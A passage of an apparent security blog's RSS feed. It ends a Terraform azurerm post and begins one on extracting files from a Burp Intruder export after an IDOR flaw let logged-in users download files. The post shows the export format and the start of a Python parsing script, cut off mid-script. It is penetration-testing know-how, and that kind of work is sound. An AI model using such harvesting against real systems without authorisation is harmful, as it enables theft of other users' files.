style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, destination_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> destination_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, destination_address)])) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    network_security_group_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">  =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    resource_group_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">          =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> tostring</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"-"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">])</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    depends_on</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">azurerm_network_security_group</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">security_group</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Conclusion</h2>
<p>So, it is not intuitive but for terraform with the <code>hashicorp/azurerm</code> version <code>3.109.0</code> and bellow :</p>
<ul>
<li><code>""</code> might not equivalent to a null/empty string and <code>tostring(null)</code> must be preferred ;</li>
<li><code>[]</code> might not equivalent to an empty set and <code>toset(null)</code> must be preferred.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Extracting files from Burp intruder</title>
      <link>https://blog.hophouse.fr/posts/burp-extract-downloads.html</link>
      <guid>https://blog.hophouse.fr/posts/burp-extract-downloads.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Extracting files from Burp intruder</source>
      <description>Following the discovery of an authenticated Insecure Direct Object Reference (IDOR) vulnerability which allowed connected users to download files, I needed to extract them out o...</description>
      <category>Tools</category>
      <pubDate>Mon, 19 Dec 2022 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<p>Following the discovery of an authenticated <a href="https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html" target="_blank" rel="noopener noreferrer">Insecure Direct Object Reference (IDOR)</a> vulnerability which allowed connected users to download files, I needed to extract them out of Burp.
I could have done this with a loop and wget/curl but I was on Windows and it was much easier to deal with cookies within Burp. So I ran my intruder and then saved the items to a file.</p>
<p>Burp export a file containing XML with both the request and the response base64 encoded. The document is like so :</p>
<div class="language-xml line-numbers-mode" data-highlighter="shiki" data-ext="xml" data-title="xml" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;?</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">xml</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> version</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"1.0"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">?&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">DOCTYPE</span><span style="--shiki-light:#005CC5;--shiki-dark:#E5C07B"> items</span><span style="--shiki-light:#24292E;--shiki-dark:#D19A66"> [</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT items (item*)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ATTLIST items burpVersion CDATA ""&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ATTLIST items exportTime CDATA ""&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT time (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT url (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT host (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ATTLIST host ip CDATA ""&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT port (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT protocol (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT method (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT path (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT extension (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT request (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ATTLIST request base64 (true|false) "false"&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT status (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT responselength (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT mimetype (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT response (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ATTLIST response base64 (true|false) "false"&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;!ELEMENT comment (#PCDATA)&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#D19A66">]</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">items</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> burpVersion</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"2022.12.4"</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> exportTime</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"Mon Dec 12 10:00:00 CET 2022"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">item</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">time</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;Mon Dec 12 10:00:00 CET 2022&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">time</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">url</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">&lt;![CDATA[https://domain.tld/documents/15008/download/]]&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">url</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">host</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> ip</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"X.X.X.X"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;domain.tld&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">host</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">port</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;443&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">port</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">protocol</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;https&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">protocol</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">method</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">&lt;![CDATA[GET]]&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">method</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">path</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">&lt;![CDATA[/documents/15008/download/]]&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">path</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">extension</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;null&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">extension</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">request</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> base64</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"true"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">&lt;![CDATA[REDACTED]]&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">request</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">status</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;200&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">status</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">responselength</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;35419&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">responselength</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">mimetype</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">mimetype</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">response</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> base64</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"true"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">&lt;![CDATA[REDACTED]]&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">response</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    &lt;</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">comment</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  &lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">item</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&lt;/</span><span style="--shiki-light:#22863A;--shiki-dark:#E06C75">items</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt;</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>In order to extract the files from it, I used the following script ugly script.</p>
<div class="language-python line-numbers-mode" data-highlighter="shiki" data-ext="python" data-title="python" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> base64</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> re</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">import</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> xml.etree.ElementTree </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">as</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> ET</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"># Variables</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">path </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 'document-download.burp'</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">output_path </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> './extracted/'</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">def</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">():</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    # Parse Burp file</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    mytree </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> ET</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">parse</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(path)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    myroot </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> mytree.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">getroot</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">()</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    # Search through each item in the file</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> item </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">in</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> myroot.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">findall</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'item'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">):</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        try</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Retreive the response</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            based </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (item.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">find</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'response'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">).text)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Decode the response</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            data </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> base64.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">b64decode</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(based)</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Retrieve the headers from the response</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            headers </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> data.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">b</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\r\n\r\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Retrieve the content from the response</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            content </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> data.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">b</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\r\n\r\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">'</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">            # Extract the filename from the response headers</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            regex_expression </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> r</span><span style="--shiki-light:#032F62;--shiki-dark:#E06C75">'filename=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">(?:</span><span style="--shiki-light:#22863A;--shiki-light-font-weight:bold;--shiki-dark:#56B6C2;--shiki-dark-font-weight:inherit">\"</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">)</span><span style="--shiki-light:#D73A49;--shiki-dark:#D19A66">?</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">([a-zA-Z0-9</span><span style="--shiki-light:#22863A;--shiki-light-font-weight:bold;--shiki-dark:#56B6C2;--shiki-dark-font-weight:inherit">\-\_\.\_</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">]</span><span style="--shiki-light:#D73A49;--shiki-dark:#D19A66">*</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">)(?:</span><span style="--shiki-light:#22863A;--shiki-light-font-weight:bold;--shiki-dark:#56B6C2;--shiki-dark-font-weight:inherit">\"</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">)</span><span style="--shiki-light:#D73A49;--shiki-dark:#D19A66">?</span><span style="--shiki-light:#032F62;--shiki-dark:#E06C75">'</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            filenames </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> re.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">findall</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(regex_expression, headers.</span><span style="--shiki-light:#24292E;--shiki-dark:#61AFEF">decode</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"utf-8"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">))</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">            if</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> len</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(filenames) </span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">&lt;=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> :</span></span>
